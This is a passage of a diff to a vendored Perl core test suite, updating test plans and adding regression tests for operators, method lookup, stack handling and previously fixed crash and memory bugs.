@@ -528,4 +528,38 @@
     }
 }
 
+# Size qualifiers shouldn't affect printing Inf/Nan
+#
+# Prior to the commit which introduced these tests and the fix,
+# the code path taken when int-ish formats saw an Inf/Nan was to
+# jump to the floating-point handler, but then that would
+# warn about (valid) qualifiers.
+
+{
+    my @w;
+    local $SIG{__WARN__} = sub { push @w, $_[0] };
+
+    for my $format (qw(B b c D d i O o U u X x)) {
+        # skip unportable: j L q
+        for my $size (qw(hh h l ll t z)) {
+            for my $num ($NInf, $PInf, $NaN) {
+                @w = ();
+                my $res = eval { sprintf "%${size}${format}", $num; };
+                my $desc = "sprintf(\"%${size}${format}\", $num)";
+                if ($format eq 'c') {
+                    like($@, qr/Cannot printf $num with 'c'/, "$desc: like");
+                }
+                else {
+                    is($res, $num, "$desc: equality");
+                }
+
+                is (@w, 0, "$desc: warnings")
+                    or do {
+                        diag("got warning: [$_]") for map { chomp; $_} @w;
+                    };
+            }
+        }
+    }
+}
+
 done_testing();

Modified: vendor/perl/dist/t/op/kvaslice.t
===================================================================
--- vendor/perl/dist/t/op/kvaslice.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/kvaslice.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 
 # use strict;
 
-plan tests => 39;
+plan tests => 38;
 
 # simple use cases
 {
@@ -120,13 +120,6 @@
         like $@, qr{^Can't modify index/value array slice in local at},
             'local dies';
     }
-    # no delete
-    {
-        local $@;
-        eval 'delete %a[1,2]';
-        like $@, qr{^delete argument is index/value array slice, use array slice},
-            'delete dies';
-    }
     # no assign
     {
         local $@;

Modified: vendor/perl/dist/t/op/kvhslice.t
===================================================================
--- vendor/perl/dist/t/op/kvhslice.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/kvhslice.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 
 # use strict;
 
-plan tests => 40;
+plan tests => 39;
 
 # simple use cases
 {
@@ -117,13 +117,6 @@
         like $@, qr{^Can't modify key/value hash slice in local at},
             'local dies';
     }
-    # no delete
-    {
-        local $@;
-        eval 'delete %h{qw(a b)}';
-        like $@, qr{^delete argument is key/value hash slice, use hash slice},
-            'delete dies';
-    }
     # no assign
     {
         local $@;

Modified: vendor/perl/dist/t/op/leaky-magic.t
===================================================================
--- vendor/perl/dist/t/op/leaky-magic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/leaky-magic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -33,9 +33,8 @@
 use tests 1; # %SIG
 ok !scalar keys %foo::SIG, "%foo::SIG";
 
-use tests 4; # rw ${^LETTERS} variables
-for(qw< CHILD_ERROR_NATIVE ENCODING UTF8CACHE WARNING_BITS >) {
- no warnings 'deprecated';  # ENCODING is deprecated;
+use tests 3; # rw ${^LETTERS} variables
+for(qw< CHILD_ERROR_NATIVE UTF8CACHE WARNING_BITS >) {
  my $name = s/./"qq|\\c$&|"/ere;
  local $$name = 'swit';
 

Modified: vendor/perl/dist/t/op/lex.t
===================================================================
--- vendor/perl/dist/t/op/lex.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/lex.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,14 +10,13 @@
 plan(tests => 36);
 
 {
-    no warnings 'deprecated';
-    print <<;   # Yow!
+    print <<'';   # Yow!
 ok 1
 
     # previous line intentionally left blank.
 
     my $yow = "ok 2";
-    print <<;   # Yow!
+    print <<"";   # Yow!
 $yow
 
     # previous line intentionally left blank.

Modified: vendor/perl/dist/t/op/lexsub.t
===================================================================
--- vendor/perl/dist/t/op/lexsub.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/lexsub.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
     *bar::is = *is;
     *bar::like = *like;
 }
-plan 149;
+plan 150;
 
 # -------------------- our -------------------- #
 
@@ -957,3 +957,6 @@
 {
   my sub h; sub{my $x; sub{h}}
 }
+
+is join("-", qw(aa bb), do { my sub lleexx; 123 }, qw(cc dd)),
+  "aa-bb-123-cc-dd", 'do { my sub...} in a list [perl #132442]';

Modified: vendor/perl/dist/t/op/list.t
===================================================================
--- vendor/perl/dist/t/op/list.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/list.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc(qw(. ../lib));
 }
 
-plan( tests => 70 );
+plan( tests => 72 );
 
 @foo = (1, 2, 3, 4);
 cmp_ok($foo[0], '==', 1, 'first elem');
@@ -220,3 +220,51 @@
 
 # this was passing a trash SV at the top of the stack to SvIV()
 ok(($0[()[()]],1), "[perl #126193] list slice with zero indexes");
+
+# RT #131732: pp_list must extend stack when empty-array arg and not in list
+# context
+{
+    my @x;
+    @x;
+    pass('no panic'); # panics only under DEBUGGING
+}
+
+fresh_perl_is(<<'EOS', "", {}, "[perl #131954] heap use after free in pp_list");
+#!./perl
+BEGIN {
+my $bar = "bar";
+
+sub test_no_error {
+    eval $_[0];
+}
+
+test_no_error($_) for split /\n/,
+q[	x
+	definfoo, $bar;
+	x
+	x
+	x
+	grep((not $bar, $bar, $bar), $bar);
+        x
+        x
+    x
+        x
+        x
+        x
+        x
+        x
+        x
+        x
+        x
+        x
+        x
+       x
+        x
+        x
+        x
+        x
+        x
+        x
+ ];
+}
+EOS

Modified: vendor/perl/dist/t/op/local.t
===================================================================
--- vendor/perl/dist/t/op/local.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/local.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
     require './test.pl';
     set_up_inc(  qw(. ../lib) );
 }
-plan tests => 315;
+plan tests => 319;
 
 my $list_assignment_supported = 1;
 
@@ -670,6 +670,8 @@
 
 	sub f1 { "f1" }
 	sub f2 { "f2" }
+	sub f3 { "f3" }
+	sub f4 { "f4" }
 
 	no warnings "redefine";
 	{
@@ -682,7 +684,23 @@
 		::ok(f1() eq "h1", "localised sub via stash");
 	}
 	::ok(f1() eq "f1", "localised sub restored");
+	# Do that test again, but with a different glob, to make sure that
+	# localisation via multideref can handle a subref in a stash.
+	# (The local *f1 above will have ensured that we have a full glob,
+	# not a sub ref.)
 	{
+		local $Other::{"f3"} = sub { "h1" };
+		::ok(f3() eq "h1", "localised sub via stash");
+	}
+	::ok(f3() eq "f3", "localised sub restored");
+	# Also, we need to test pp_helem, which we can do by using a more
+	# complex subscript.
+	{
+		local $Other::{${\"f4"}} = sub { "h1" };
+		::ok(f4() eq "h1", "localised sub via stash");
+	}
+	::ok(f4() eq "f4", "localised sub restored");
+	{
 		local @Other::{qw/ f1 f2 /} = (sub { "j1" }, sub { "j2" });
 		::ok(f1() eq "j1", "localised sub via stash slice");
 		::ok(f2() eq "j2", "localised sub via stash slice");

Modified: vendor/perl/dist/t/op/lop.t
===================================================================
--- vendor/perl/dist/t/op/lop.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/lop.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 #!./perl
 
 #
-# test the logical operators '&&', '||', '!', 'and', 'or', 'not'
+# test the logical operators '&&', '||', '!', 'and', 'or', , 'xor', 'not'
 #
 
 BEGIN {
@@ -10,7 +10,7 @@
     set_up_inc('../lib');
 }
 
-plan tests => 23;
+plan tests => 33;
 
 for my $i (undef, 0 .. 2, "", "0 but true") {
     my $true = 1;
@@ -82,3 +82,26 @@
     $i = !do { "str" } && !$x;
     is( $i, '', 'neg-do-const on lhs of && with non-foldable neg-true on rhs' );
 }
+
+# RT #131820
+#
+# It turns out that in 2017, 23 years after the release of perl5,
+# the 'xor' logical operator was still untested in core.
+
+for my $test (
+    [ 0, 0, '' ],
+    [ 0, 1, 1  ],
+    [ 1, 0, 1  ],
+    [ 1, 1, '' ],
+
+    [ 0, 2, 1  ],
+    [ 2, 0, 1  ],
+    [ 2, 2, '' ],
+
+    [ 0, 3, 1  ],
+    [ 3, 0, 1  ],
+    [ 3, 4, '' ],
+) {
+    my ($a,$b, $exp) = @$test;
+    is(($a xor $b), $exp, "($a xor $b) == '$exp'");
+}

Modified: vendor/perl/dist/t/op/lvref.t
===================================================================
--- vendor/perl/dist/t/op/lvref.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/lvref.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
     set_up_inc("../lib");
 }
 
-plan 155;
+plan 156;
 
 eval '\$x = \$y';
 like $@, qr/^Experimental aliasing via reference not enabled/,
@@ -488,6 +488,10 @@
 like $@,
     qr/^Can't modify reference to hash dereference in scalar assignment a/,
    "Can't modify ref to whatever in scalar assignment via cond expr";
+eval '\$0=~y///=0';
+like $@,
+    qr#^Can't modify transliteration \(tr///\) in scalar assignment a#,
+   "Can't modify transliteration (tr///) in scalar assignment";
 
 # Miscellaneous
 

Modified: vendor/perl/dist/t/op/magic.t
===================================================================
--- vendor/perl/dist/t/op/magic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/magic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
     chdir 't' if -d 't';
     require './test.pl';
     set_up_inc( '../lib' );
-    plan (tests => 192); # some tests are run in BEGIN block
+    plan (tests => 196); # some tests are run in BEGIN block
 }
 
 # Test that defined() returns true for magic variables created on the fly,
@@ -643,6 +643,14 @@
 # This also tests that ${^LAST_FH} is a weak reference:
 is ${^LAST_FH}, undef, '${^LAST_FH} is undef when PL_last_in_gv is NULL';
 
+# all of these would set PL_last_in_gv to a non-GV which would
+# assert when referenced by the magic for ${^LAST_FH}.
+# The approach to fixing this has changed (#128263), but it's still useful
+# to check each op.
+for my $code ('tell $0', 'sysseek $0, 0, 0', 'seek $0, 0, 0', 'eof $0') {
+    fresh_perl_is("$code; print defined \${^LAST_FH} ? qq(not ok\n) : qq(ok\n)", "ok\n",
+                  undef, "check $code doesn't define \${^LAST_FH}");
+}
 
 # $|
 fresh_perl_is 'print $| = ~$|', "1\n", {switches => ['-l']},

Modified: vendor/perl/dist/t/op/method.t
===================================================================
--- vendor/perl/dist/t/op/method.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/method.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,11 +13,39 @@
 use strict;
 no warnings 'once';
 
-plan(tests => 151);
+plan(tests => 162);
 
- at A::ISA = 'B';
- at B::ISA = 'C';
+{
+    # RT #126042 &{1==1} * &{1==1} would crash
+    # There are two issues here.  Method lookup yields a fake method for
+    # ->import or ->unimport if there's no actual method, for historical
+    # reasons so that "use" doesn't barf if there's no import method.
+    # The first bug, the one which caused the crash, is that the fake
+    # method was broken in scalar context, messing up the stack.  We test
+    # for that on its own.
+    foreach my $meth (qw(import unimport)) {
+	is join(",", map { $_ // "u" } "a", "b", "Unknown"->$meth, "c", "d"), "a,b,c,d", "Unknown->$meth in list context";
+	is join(",", map { $_ // "u" } "a", "b", scalar("Unknown"->$meth), "c", "d"), "a,b,u,c,d", "Unknown->$meth in scalar context";
+    }
+    # The second issue is that the fake method wasn't actually a CV or
+    # anything referencing a CV, but was &PL_sv_yes being used as a magic
+    # placeholder.  That's inconsistent with &PL_sv_yes being a string,
+    # which we'd expect to serve as a symbolic CV ref.  This test must
+    # come before AUTOLOAD gets set up below.
+    foreach my $one (1, !!1) {
+	my @res = eval { no strict "refs"; &$one() };
+	like $@, qr/\AUndefined subroutine \&main::1 called at /;
+	@res = eval { no strict "refs"; local *1 = sub { 123 }; &$one() };
+	is $@, "";
+	is "@res", "123";
+	@res = eval { &$one() };
+	like $@, qr/\ACan't use string \("1"\) as a subroutine ref while "strict refs" in use at /;
+    }
+}
 
+ at A::ISA = 'BB';
+ at BB::ISA = 'C';
+
 sub C::d {"C::d"}
 sub D::d {"D::d"}
 
@@ -55,7 +83,7 @@
 
 is( A->d, "C::d");		# Update hash table;
 
-*B::d = \&D::d;			# Import now.
+*BB::d = \&D::d;			# Import now.
 is(A->d, "D::d");		# Update hash table;
 
 {
@@ -67,42 +95,42 @@
 is(A->d, "D::d");
 
 {
-    local *B::d;
-    eval 'sub B::d {"B::d1"}';	# Import now.
-    is(A->d, "B::d1");	# Update hash table;
-    undef &B::d;
+    local *BB::d;
+    eval 'sub BB::d {"BB::d1"}';	# Import now.
+    is(A->d, "BB::d1");	# Update hash table;
+    undef &BB::d;
     is((eval { A->d }, ($@ =~ /Undefined subroutine/)), 1);
 }
 
 is(A->d, "D::d");		# Back to previous state
 
-eval 'no warnings "redefine"; sub B::d {"B::d2"}';	# Import now.
-is(A->d, "B::d2");		# Update hash table;
+eval 'no warnings "redefine"; sub BB::d {"BB::d2"}';	# Import now.
+is(A->d, "BB::d2");		# Update hash table;
 
 # What follows is hardly guarantied to work, since the names in scripts
-# are already linked to "pruned" globs. Say, 'undef &B::d' if it were
-# after 'delete $B::{d}; sub B::d {}' would reach an old subroutine.
+# are already linked to "pruned" globs. Say, 'undef &BB::d' if it were
+# after 'delete $BB::{d}; sub BB::d {}' would reach an old subroutine.
 
-undef &B::d;
-delete $B::{d};
+undef &BB::d;
+delete $BB::{d};
 is(A->d, "C::d");
 
-eval 'sub B::d {"B::d2.5"}';
+eval 'sub BB::d {"BB::d2.5"}';
 A->d;				# Update hash table;
-my $glob = \delete $B::{d};	# non-void context; hang on to the glob
+my $glob = \delete $BB::{d};	# non-void context; hang on to the glob
 is(A->d, "C::d");		# Update hash table;
 
-eval 'sub B::d {"B::d3"}';	# Import now.
-is(A->d, "B::d3");		# Update hash table;
+eval 'sub BB::d {"BB::d3"}';	# Import now.
+is(A->d, "BB::d3");		# Update hash table;
 
-delete $B::{d};
+delete $BB::{d};
 *dummy::dummy = sub {};		# Mark as updated
 is(A->d, "C::d");
 
-eval 'sub B::d {"B::d4"}';	# Import now.
-is(A->d, "B::d4");		# Update hash table;
+eval 'sub BB::d {"BB::d4"}';	# Import now.
+is(A->d, "BB::d4");		# Update hash table;
 
-delete $B::{d};			# Should work without any help too
+delete $BB::{d};			# Should work without any help too
 is(A->d, "C::d");
 
 {
@@ -119,16 +147,16 @@
 
 eval <<'EOF';
 sub C::e;
-BEGIN { *B::e = \&C::e }	# Shouldn't prevent AUTOLOAD in original pkg
+BEGIN { *BB::e = \&C::e }	# Shouldn't prevent AUTOLOAD in original pkg
 sub Y::f;
 $counter = 0;
 
 @X::ISA = 'Y';
- at Y::ISA = 'B';
+ at Y::ISA = 'BB';
 
-sub B::AUTOLOAD {
+sub BB::AUTOLOAD {
   my $c = ++$counter;
-  my $method = $B::AUTOLOAD; 
+  my $method = $BB::AUTOLOAD;
   my $msg = "B: In $method, $c";
   eval "sub $method { \$msg }";
   goto &$method;
@@ -135,7 +163,7 @@
 }
 sub C::AUTOLOAD {
   my $c = ++$counter;
-  my $method = $C::AUTOLOAD; 
+  my $method = $C::AUTOLOAD;
   my $msg = "C: In $method, $c";
   eval "sub $method { \$msg }";
   goto &$method;
@@ -157,10 +185,10 @@
 
 {
 no warnings 'redefine';
-*B::AUTOLOAD = sub {
+*BB::AUTOLOAD = sub {
   use warnings;
   my $c = ++$counter;
-  my $method = $::AUTOLOAD; 
+  my $method = $::AUTOLOAD;
   no strict 'refs';
   *$::AUTOLOAD = sub { "new B: In $method, $c" };
   goto &$::AUTOLOAD;
@@ -198,7 +226,7 @@
 
 eval '$e = bless {}, "E::A"; E::A->foo()';
 like ($@, qr/^\QCan't locate object method "foo" via package "E::A" at/);
-eval '$e = bless {}, "E::B"; $e->foo()';  
+eval '$e = bless {}, "E::B"; $e->foo()';
 like ($@, qr/^\QCan't locate object method "foo" via package "E::B" at/);
 eval 'E::C->foo()';
 like ($@, qr/^\QCan't locate object method "foo" via package "E::C" (perhaps /);
@@ -233,7 +261,7 @@
    @ret = OtherSaab->SUPER::method;
    ::is $ret[0], 'OtherSaab',
       "->SUPER::method uses current package, not invocant";
-}  
+}
 () = *SUPER::;
 {
    local our @ISA = "Souper";
@@ -687,23 +715,6 @@
     like ($@, qr/Modification of a read-only value attempted/, 'RT #123619');
 }
 
-{
-    # RT #126042 &{1==1} * &{1==1} would crash
-
-    # pp_entersub and pp_method_named cooperate to prevent calls to an
-    # undefined import() or unimport() method from croaking.
-    # If pp_method_named can't find the method it pushes &PL_sv_yes, and
-    # pp_entersub checks for that specific SV to avoid croaking.
-    # Ideally they wouldn't use that hack but...
-    # Unfortunately pp_entersub's handling of that case is broken in scalar context.
-
-    # Rather than using the test case from the ticket, since &{1==1}
-    # isn't documented (and may not be supported in future perls) test
-    # calls to undefined import method, which also crashes.
-    fresh_perl_is('Unknown->import() * Unknown->unimport(); print "ok\n"', "ok\n", {},
-                  "check unknown import() methods don't corrupt the stack");
-}
-
 # RT#130496: assertion failure when looking for a method of undefined name
 # on an unblessed reference
 fresh_perl_is('eval { {}->$x }; print $@;',

Modified: vendor/perl/dist/t/op/multideref.t
===================================================================
--- vendor/perl/dist/t/op/multideref.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/multideref.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,7 +18,7 @@
 use warnings;
 use strict;
 
-plan 62;
+plan 63;
 
 
 # check that strict refs hint is handled
@@ -223,3 +223,13 @@
     ok !defined $x[0][0],"RT #130727 part 2: array not autovivified";
 
 }
+
+# RT #131627: assertion failure on OPf_PAREN on OP_GV
+{
+    my @x = (10..12);
+    our $rt131627 = 1;
+
+    no strict qw(refs vars);
+    is $x[qw(rt131627)->$*], 11, 'RT #131627: $a[qw(var)->$*]';
+}
+

Modified: vendor/perl/dist/t/op/pack.t
===================================================================
--- vendor/perl/dist/t/op/pack.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/pack.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
 my $no_signedness = $] > 5.009 ? '' :
   "Signed/unsigned pack modifiers not available on this perl";
 
-plan tests => 14713;
+plan tests => 14717;
 
 use strict;
 use warnings qw(FATAL all);
@@ -1414,7 +1414,7 @@
   my @b = unpack "$t X[$t] $t", $p;	# Extract, step back, extract again
   is(scalar @b, 2 * scalar @a);
   $b = "@b";
-  $b =~ s/(?:17000+|16999+)\d+(e-45) /17$1 /gi; # stringification is gamble
+  $b =~ s/(?:17000+|16999+)\d+(e-0?45) /17$1 /gi; # stringification is gamble
   is($b, "@a @a");
 
   use warnings qw(NONFATAL all);;
@@ -1427,7 +1427,7 @@
   is($warning, undef);
   is(scalar @b, scalar @a);
   $b = "@b";
-  $b =~ s/(?:17000+|16999+)\d+(e-45) /17$1 /gi; # stringification is gamble
+  $b =~ s/(?:17000+|16999+)\d+(e-0?45) /17$1 /gi; # stringification is gamble
   is($b, "@a");
 }
 
@@ -2059,3 +2059,25 @@
  ? "ok\n" : "not ok\n";
 EOS
 }
+
+SKIP:
+{
+  # [perl #131844] pointer addition overflow
+    $Config{ptrsize} == 4
+      or skip "[perl #131844] need 32-bit build for this test", 4;
+    # prevent ASAN just crashing on the allocation failure
+    local $ENV{ASAN_OPTIONS} = $ENV{ASAN_OPTIONS};
+    $ENV{ASAN_OPTIONS} .= ",allocator_may_return_null=1";
+    fresh_perl_like('pack "f999999999"', qr/Out of memory during pack/, { stderr => 1 },
+		    "pointer addition overflow");
+
+    # integer (STRLEN) overflow from addition of glen to current length
+    fresh_perl_like('pack "c10f1073741823"', qr/Out of memory during pack/, { stderr => 1 },
+		    "integer overflow calculating allocation (addition)");
+
+    fresh_perl_like('pack "W10f536870913", 256', qr/Out of memory during pack/, { stderr => 1 },
+		    "integer overflow calculating allocation (utf8)");
+
+    fresh_perl_like('pack "c10f1073741824"', qr/Out of memory during pack/, { stderr => 1 },
+		    "integer overflow calculating allocation (multiply)");
+}

Modified: vendor/perl/dist/t/op/postfixderef.t
===================================================================
--- vendor/perl/dist/t/op/postfixderef.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/postfixderef.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,7 +16,7 @@
 
 use strict qw(refs subs);
 
-plan(116);
+plan(130);
 
 {
     no strict 'refs';
@@ -365,3 +365,26 @@
     is "foo$ref->$*bar", "foo plus overload plus bar",
        '"foo $s->$* bar" does concat overloading';
 }
+
+# parsing of {} subscript as subscript rather than block
+{
+    sub ppp { "qqq" }
+    my $h = { ppp => "pp", qqq => "qq", rrr => 7 };
+    is ${$h}{ppp}, "pp";
+    is ${$h}{"rrr"} - 2, 5;
+    my $ar = [$h];
+    is $ar->[0]->{ppp}, "pp";
+    is $ar->[0]->{"rrr"} - 2, 5;
+    is $ar->[0]{ppp}, "pp";
+    is $ar->[0]{"rrr"} - 2, 5;
+    my $hr = {h=>$h};
+    is $hr->{"h"}->{ppp}, "pp";
+    is $hr->{"h"}->{"rrr"} - 2, 5;
+    is $hr->{"h"}{ppp}, "pp";
+    is $hr->{"h"}{"rrr"} - 2, 5;
+    my $cr = sub { $h };
+    is $cr->()->{ppp}, "pp";
+    is $cr->()->{"rrr"} - 2, 5;
+    is $cr->(){ppp}, "pp";
+    is $cr->(){"rrr"} - 2, 5;
+}

Modified: vendor/perl/dist/t/op/protowarn.t
===================================================================
--- vendor/perl/dist/t/op/protowarn.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/protowarn.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 
 plan( tests => 12 );
 
-use vars qw{ @warnings $sub $warn };
+our (@warnings, $sub, $warn);
 
 BEGIN {
     $warn = 'Illegal character in prototype';

Modified: vendor/perl/dist/t/op/push.t
===================================================================
--- vendor/perl/dist/t/op/push.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/push.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,7 +20,7 @@
 -4,			4 5 6 7,	0 1 2 3
 EOF
 
-plan tests => 8 + @tests*2;
+plan tests => 10 + @tests*2;
 die "blech" unless @tests;
 
 @x = (1,2,3);
@@ -71,4 +71,17 @@
     is(join(':', at x),   join(':', at leave), "left: @x == @leave");
 }
 
+# See RT#131000
+{
+    local $@;
+    my @readonly_array = 10..11;
+    Internals::SvREADONLY(@readonly_array, 1);
+    eval { push @readonly_array, () };
+    is $@, '', "can push empty list onto readonly array";
+
+    eval { push @readonly_array, 9 };
+    like $@, qr/^Modification of a read-only value/,
+        "croak when pushing onto readonly array";
+}
+
 1;  # this file is require'd by lib/tie-stdpush.t

Modified: vendor/perl/dist/t/op/qr.t
===================================================================
--- vendor/perl/dist/t/op/qr.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/qr.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
     require './test.pl';
 }
 
-plan(tests => 32);
+plan(tests => 34);
 
 sub r {
     return qr/Good/;
@@ -110,3 +110,28 @@
     is $_[0], "$str ", 'stringifying regexpvlv in place';
 }
  ->((\my%hash)->{key});
+
+# utf8::upgrade on an SVt_REGEXP should be a NOOP.
+# RT #131821
+
+{
+    my $r1 = qr/X/i;
+    utf8::upgrade($$r1);
+    like "xxx", $r1, "RT #131821 utf8::upgrade: case insensitive";
+}
+
+# after v5.27.2-30-gdf6b4bd, this was double-freeing the PVX buffer
+# and would crash under valgrind or similar. The eval ensures that the
+# regex any children are freed.
+
+{
+    my %h;
+    eval q{
+        sub {
+           my $r = qr/abc/;
+           $_[0] = $$r;
+        }->($h{foo});
+        1;
+    };
+}
+pass("PVLV-as-REGEXP double-free of PVX");

Modified: vendor/perl/dist/t/op/readdir.t
===================================================================
--- vendor/perl/dist/t/op/readdir.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/readdir.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 
 use strict;
 use warnings;
-use vars qw($fh @fh %fh);
+our ($fh, @fh, %fh);
 
 eval 'opendir(NOSUCH, "no/such/directory");';
 skip_all($@) if $@;

Modified: vendor/perl/dist/t/op/readline.t
===================================================================
--- vendor/perl/dist/t/op/readline.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/readline.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -63,7 +63,7 @@
 
 use strict;
 
-open F, '.' and sysread F, $_, 1;
+open F, '.' and binmode F and sysread F, $_, 1;
 my $err = $! + 0;
 close F;
 
@@ -148,6 +148,9 @@
 	skip( 2, 'The pipe function is unimplemented' );
     }
 
+    binmode $out;
+    binmode $in;
+
     # Make the pipe autoflushing
     {
 	my $old_fh = select $out;

Modified: vendor/perl/dist/t/op/ref.t
===================================================================
--- vendor/perl/dist/t/op/ref.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/ref.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,7 +8,7 @@
 
 use strict qw(refs subs);
 
-plan(236);
+plan(254);
 
 # Test this first before we extend the stack with other operations.
 # This caused an asan failure due to a bad write past the end of the stack.
@@ -820,6 +820,79 @@
 	'[perl #109746] referential identity of \literal under threads+mad'
 }
 
+# ref in boolean context
+{
+    my $false = 0;
+    my $true  = 1;
+    my $plain = [];
+    my $obj     = bless {}, "Foo";
+    my $objnull = bless [], "";
+    my $obj0    = bless [], "0";
+    my $obj00   = bless [], "00";
+    my $obj1    = bless [], "1";
+
+    is !ref $false,   1, '!ref $false';
+    is !ref $true,    1, '!ref $true';
+    is !ref $plain,   "", '!ref $plain';
+    is !ref $obj,     "", '!ref $obj';
+    is !ref $objnull, "", '!ref $objnull';
+    is !ref $obj0   , 1, '!ref $obj0';
+    is !ref $obj00,   "", '!ref $obj00';
+    is !ref $obj1,    "", '!ref $obj1';
+
+    is ref $obj || 0,               "Foo",   'ref $obj || 0';
+    is ref $obj // 0,               "Foo",   'ref $obj // 0';
+    is $true && ref $obj,           "Foo",   '$true && ref $obj';
+    is ref $obj ? "true" : "false", "true",  'ref $obj ? "true" : "false"';
+
+    my $r = 2;
+    if (ref $obj) { $r = 1 };
+    is $r, 1, 'if (ref $obj)';
+
+    $r = 2;
+    if (ref $obj0) { $r = 1 };
+    is $r, 2, 'if (ref $obj0)';
+
+    $r = 2;
+    if (ref $obj) { $r = 1 } else { $r = 0 };
+    is $r, 1, 'if (ref $obj) else';
+
+    $r = 2;
+    if (ref $obj0) { $r = 1 } else { $r = 0 };
+    is $r, 0, 'if (ref $obj0) else';
+}
+
+{
+    # RT #78288
+    # if an op returns &PL_sv_zero rather than newSViv(0), the
+    # value should be mutable. So ref (via the PADTMP flag) should
+    # make a mutable copy
+
+    my @a = ();
+    my $r = \ scalar grep $_ == 1, @a;
+    $$r += 10;
+    is $$r, 10, "RT #78288 - mutable PL_sv_zero copy";
+}
+
+
+# RT#130861: heap-use-after-free in pp_rv2sv, from asan fuzzing
+SKIP: {
+    skip_if_miniperl("no dynamic loading on miniperl, so can't load arybase", 1);
+    # this value is critical - its just enough so that the stack gets
+    # grown which loading/calling arybase
+    my $n = 125;
+
+    my $code = <<'EOF';
+$ary = '[';
+my @a = map $$ary, 1..NNN;
+print "@a\n";
+EOF
+    $code =~ s/NNN/$n/g;
+    my @exp = ("0") x $n;
+    fresh_perl_is($code, "@exp", { stderr => 1 },
+                    'rt#130861: heap uaf in pp_rv2sv');
+}
+
 # Bit of a hack to make test.pl happy. There are 3 more tests after it leaves.
 $test = curr_test();
 curr_test($test + 3);

Modified: vendor/perl/dist/t/op/reverse.t
===================================================================
--- vendor/perl/dist/t/op/reverse.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/reverse.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,7 +6,7 @@
     set_up_inc('../lib');
 }
 
-plan tests => 23;
+plan tests => 24;
 
 is(reverse("abc"), "cba", 'simple reverse');
 
@@ -91,3 +91,8 @@
     my $c = scalar reverse($b);
     is($a, $c, 'Unicode string double reversal matches original');
 }
+
+# [perl #132544] stack pointer used to go wild when nullary reverse
+# required extending the stack
+for(0..1000){()=(0..$_,scalar reverse )}
+pass "extending the stack without crashing";

Modified: vendor/perl/dist/t/op/select.t
===================================================================
--- vendor/perl/dist/t/op/select.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/select.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,8 @@
 #!./perl
 
+# This file is for testing select() with one argument.  Four-argument
+# select() is tested in sselect.t.
+
 BEGIN {
     chdir 't' if -d 't';
     require './test.pl';

Modified: vendor/perl/dist/t/op/signatures.t
===================================================================
--- vendor/perl/dist/t/op/signatures.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/op/signatures.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -20,6 +20,13 @@
     is $a, 123;
 }
 
+eval "#line 8 foo\nsub t004 :method (\$a) { }";
+like $@, qr{syntax error at foo line 8}, "error when not enabled 1";
+
+eval "#line 8 foo\nsub t005 (\$) (\$a) { }";
+like $@, qr{syntax error at foo line 8}, "error when not enabled 2";
+
+
 no warnings "experimental::signatures";
 use feature "signatures";
 
@@ -1095,17 +1102,21 @@
 EOF
 
 eval "#line 8 foo\nno warnings; sub t096 (\$a 123) { }";
-is $@, qq{syntax error at foo line 8, near "\$a 123"\n};
+is $@, <<'EOF';
+Illegal operator following parameter in a subroutine signature at foo line 8, near "($a 123"
